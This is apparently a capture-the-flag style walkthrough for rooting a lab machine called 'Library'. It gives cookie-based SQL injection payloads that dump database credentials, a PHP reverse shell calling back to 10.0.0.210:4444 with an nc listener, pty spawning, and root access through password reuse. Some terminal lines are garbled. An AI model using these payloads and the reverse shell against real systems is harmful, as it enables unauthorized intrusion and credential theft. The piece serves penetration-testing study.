How to get root on the Library by avrahamcohen.ac@gmail.com

Find IP address of the target machine:

```
<table>
<thead>
<tr>
<th>IP</th>
<th>At MAC Address</th>
<th>Count</th>
<th>Len</th>
<th>MAC Vendor / Hostname</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.11.1.1</td>
<td>00:50:56:00:00:00</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
<tr>
<td>10.11.1.2</td>
<td>00:50:56:00:00:00</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
<tr>
<td>10.11.1.212</td>
<td>00:60:0c:29:e5:3f:72</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
<tr>
<td>10.11.1.254</td>
<td>00:50:56:e8:63:db</td>
<td>1</td>
<td>60</td>
<td>VMware, Inc.</td>
</tr>
</tbody>
</table>
```

Port scanning:

```
root@kali:~/Downloads# nmap -sS 10.11.1.212

Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-22 05:56 EDT
Nmap scan report for 10.11.1.212
Host is up (0.00069s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT        STATE SERVICE
21/tcp open  ftp
80/tcp open  http
MAC Address: 00:60:0C:29:E5:3F:72 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.18 seconds
```

Navigate to http://10.11.1.212

Spider the web application.
Navigate to http://10.11.1.212/library.php

Analyze the cookie value.

lastviewed = {"lastviewed"="Spain"}
Manipulate the cookie to get valid query:

Step 1 - Find valid cookie value:
"{"lastviewed":"Spain"}"

We couldn't find any information for Spain.
Please try again later.

Step 2 - Find database version:
"{"lastviewed":"Spain' UNION SELECT @@version"}"

We couldn't find any information for 5.7.26-0ubuntu0.16.04.1.
Please try again later.

Step 3 - Find database name:
"{"lastviewed":"Spain' UNION SELECT database()"}"

We couldn't find any information for library.
Please try again later.

Step 4 - Get tables (access / countries):
"{"lastviewed":"Spain' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'library'"}"

We couldn't find any information for countries.
Please try again later.

"{"lastviewed":"Spain' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'library' AND table_name NOT IN ('countries')"}"

We couldn't find any information for access.
Please try again later.
Step 5 - Dump 'access' table columns (username / password / service / id):

"{"lastviewed"="Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access'"}"

We couldn't find any information for password.

Please try again later.

"{"lastviewed"="Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password')"}"

We couldn't find any information for username.

Please try again later.

"{"lastviewed"="Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password', 'username')"}"

We couldn't find any information for service.

Please try again later.

"{"lastviewed"="Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password', 'username', 'service')"}"

We couldn't find any information for id.

Please try again later.

Step 6 - Dump 'access' table records (globus / AroundTheWorld / ftp):

"{"lastviewed"="Spain' UNION SELECT username FROM access"}"

We couldn't find any information for globus.

Please try again later.

"{"lastviewed"="Spain' UNION SELECT password FROM access"}"

We couldn't find any information for AroundTheWorld.

Please try again later.

"{"lastviewed"="Spain' UNION SELECT service FROM access"}"

We couldn't find any information for ftp.

Please try again later.
Open FTP server and use the above credentials.

Create shell.php and upload to the server.

```
root@kali:/Downloads# cat shell.php
<?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.210/4444 @>61' ");

root@kali:/Downloads#
```

Change shell.php permissions.

Open TCP listener.

```
root@kali:/Downloads# nc -nlvp 4444
listening on [any] 4444 ...
```

Cat the library.php to view the database credentials.

```
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';
```

Spawn TTY shell via Python:

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

Check for password reuse for the root account.

```
$ ssuuv -- rroooott
Password: password
root@ubuntu:~ # !1dd
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~ # WWhhooaanll
root
root@ubuntu:~ # //ssbibiim/iiiffccoonnnfiiigg
```

```
ens33    Link encap:Ethernet  HWaddr 00:0c:29:e5:3f:72
          inet addr:10.11.1.212  Bcast:10.11.1.255  Mask:255.255.255.0
          inet6 addr: fe80::f0a7:623f:ff33:64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12134  errors:0  dropped:0  overruns:0  frame:0
          TX packets:1032 errors:0  dropped:0  overruns:0  carrier:0
          collisions:0  txqueuelen:1000
          RX bytes:1973765 (1.9 MB)  TX bytes:3239088 (3.2 MB)

to
          Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:1500  Metric:1
          RX packets:3990 errors:0  dropped:0  overruns:0  frame:0
          TX packets:3990 errors:0  dropped:0  overruns:0  carrier:0
          collisions:0  txqueuelen:1
          RX bytes:395137 (395.3 KiB)  TX bytes:395137 (395.3 KiB)
```

root@ubuntu:~ #